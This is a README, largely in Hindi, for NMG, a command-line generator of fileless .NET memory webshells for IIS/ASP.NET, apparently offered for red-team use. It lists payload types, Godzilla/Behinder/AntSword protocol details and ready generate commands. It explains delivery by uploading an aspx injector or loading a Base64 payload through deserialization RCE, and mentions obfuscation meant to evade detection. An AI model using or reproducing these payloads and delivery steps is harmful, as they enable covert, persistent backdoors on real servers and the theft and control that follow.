
Godzilla, Behinder और AntSword क्लाइंट के साथ संगत पैरामीटरीकृत .NET मेमोरी-शेल पेलोड (VPP, MVC route, HttpListener) उत्पन्न करता है, जो रेड टीम परीक्षण के लिए हैं।
पैरामीटरीकृत .NET मेमोरी शेल जनरेटर | रेड टीम / सुरक्षा परीक्षण | .NET के लिए JMG समकक्ष
+-----------------------------------------------------+
| nmg.exe (CLI) |
+------------------------+----------------------------+
| generate (payload) | probe (env detection) |
+------------------------+----------------------------+
| Protocol Layer |
| +----------+ +----------+ +----------+ |
| | Godzilla | | Behinder | | AntSword | |
| | AES-128 | | AES-128 | | Base64 | |
| +----------+ +----------+ +----------+ |
+------------------------------------------------------+
| Template Layer |
| +----------+ +----------+ +--------------+ |
| | VPP | | Route | | HttpListener | |
| | IIS hook | |MVC Route | | Standalone | |
| +----------+ +----------+ +--------------+ |
+------------------------------------------------------+
| Compilation Engine |
| Roslyn -> DLL (net40/net472) |
| deterministic / XOR obfuscated / randomized |
+------------------------------------------------------+
| Output Layer |
| aspx injector / base64 / dll |
+------------------------------------------------------+
NMG पैरामीटरयुक्त .NET मेमोरी शेल पेलोड उत्पन्न करता है जो IIS/ASP.NET अनुप्रयोगों में डिस्क पर फ़ाइलें छोड़े बिना इंजेक्ट होते हैं। इंजेक्शन के बाद, आप मौजूदा वेबशेल मैनेजर (Godzilla / Behinder / AntSword) से कनेक्ट करते हैं - NMG केवल सर्वर साइड को काम करवाता है।
इसे ऐसे समझें: input parameters -> compiled payload -> inject -> connect with client
| प्रकार | लक्ष्य | .NET Framework | ट्रिगर बिंदु |
|---|---|---|---|
vpp | IIS/ASP.NET | 2.0+ | VirtualPathProvider.GetCacheKey |
route | MVC/WebAPI | 3.5+ | RouteBase.GetRouteData |
httplistener | Standalone/SYSTEM | 2.0+ | HttpListener (IIS से स्वतंत्र) |
| प्रोटोकॉल | क्लाइंट | एन्क्रिप्शन | सत्यापित |
|---|---|---|---|
godzilla | Godzilla 4.x | AES-128 (key=MD5(pass+key)[0:16]) | ✅ एंड-टू-एंड |
behinder | Behinder 4.x | AES-128 (key=MD5(pass)[0:16] raw bytes) | ✅ एंड-टू-एंड |
antsword | AntSword | Base64 | ✅ एंड-टू-एंड |
| प्रारूप | उपयोग का मामला |
|---|---|
aspx | रिटेबल डायरेक्टरी में अपलोड करें, इंजेक्ट करने के लिए एक बार एक्सेस करें |
b64 | डीसेरियलाइज़ेशन/एक्सप्रेशन इंजेक्शन के माध्यम से RCE डिलीवरी के लिए |
dll | कस्टम लोडर के लिए रॉ DLL |
| कमांड | उद्देश्य |
|---|---|
generate | मेमोरी शेल पेलोड उत्पन्न करें |
probe | पर्यावरण पहचान aspx उत्पन्न करें (CLR/trust/MVC/VPP की रिपोर्ट करता है) |
version | संस्करण दिखाएँ |
help | उपयोग दिखाएँ |
Inset Dark थीम (Linear-शैली न्यूनतमवाद) के साथ अंतर्निहित वेब इंटरफ़ेस:
cd src/Api && dotnet run --urls "http://127.0.0.1:9901"
# Open http://127.0.0.1:9901
# VPP memory shell, Godzilla protocol, net40 target
nmg generate --type vpp --shell godzilla --pass p@ss123 --seed 42
# Route memory shell for MVC targets
nmg generate --type route --shell godzilla --pass mypass --target net472
# HttpListener for SYSTEM-level access
nmg generate --type httplistener --pass root --path "http://*:8080/cmd/"
# AntSword protocol
nmg generate --type vpp --shell antsword --pass mypass
# Generate environment probe page
nmg probe -o probe.aspx
# Output as Base64 for deserialization delivery
nmg generate --type vpp --shell godzilla --pass p@ss123 --format b64 -o payload.b64
विधि 1 — ASPX इंजेक्टर:
.aspx फ़ाइल को लक्ष्य पर किसी भी लिखने योग्य डायरेक्टरी में अपलोड करेंAssembly.Load + VPP पंजीकरण ट्रिगर करता है).aspx/.ashx/.asmx से अपने webshell क्लाइंट के साथ कनेक्ट करेंविधि 2 — Base64 (RCE डिलीवरी): किसी भी कोड निष्पादन बिंदु पर निष्पादित करें:
Assembly.Load(Convert.FromBase64String("<payload>"))
जनरेट किए गए probe.aspx को अपलोड करें और उसे एक बार एक्सेस करें। यह JSON के साथ लौटता है जिसमें शामिल हैं:
{
"clr": "4.0.30319.42000",
"trustLevel": "Full",
"mvc": false,
"vpp": "Net.Net.Loader.PathHandler74",
"appPool": "NmgLab"
}
इसका उपयोग यह निर्धारित करने के लिए करें कि किस मेमोरी शेल प्रकार और प्रोटोकॉल का उपयोग करना है।
ASP.xxx_aspx+ClassName पहचान से बचता हैdotnet build
dotnet test
dotnet publish src -c Release -r win-x64 --self-contained -o publish/
nmg/
├── src/
│ ├── Program.cs # CLI entry point
│ ├── GenerateOptions.cs # generate pipeline (protocol × type × format)
│ ├── ProbeCommand.cs # probe subcommand
│ ├── Shells/
│ │ ├── GodzillaCSharp.cs # Godzilla protocol (AES-128)
│ │ ├── BehinderNet.cs # Behinder protocol (AES-128 raw bytes)
│ │ └── AntSwordNet.cs # AntSword protocol (Base64)
│ ├── Templates/
│ │ ├── VppTemplate.cs # VirtualPathProvider registrar
│ │ ├── RouteTemplate.cs # RouteBase registrar
│ │ ├── HttpListenerTemplate.cs
│ │ └── ProbeTemplate.cs # Environment probe page
│ ├── Compiler/
│ │ └── RoslynCompiler.cs # Multi-target deterministic Roslyn
│ ├── Randomizer/
│ │ └── SeedRandom.cs # Deterministic randomization
│ ├── Formats/
│ │ ├── AspxInjector.cs # Self-contained aspx injector page
│ │ └── Base64Output.cs # Raw Base64 output
│ └── Api/
│ ├── Program.cs # ASP.NET Core minimal API
│ └── wwwroot/index.html # Web UI (Inset Dark)
└── tests/ # 35 unit tests
MIT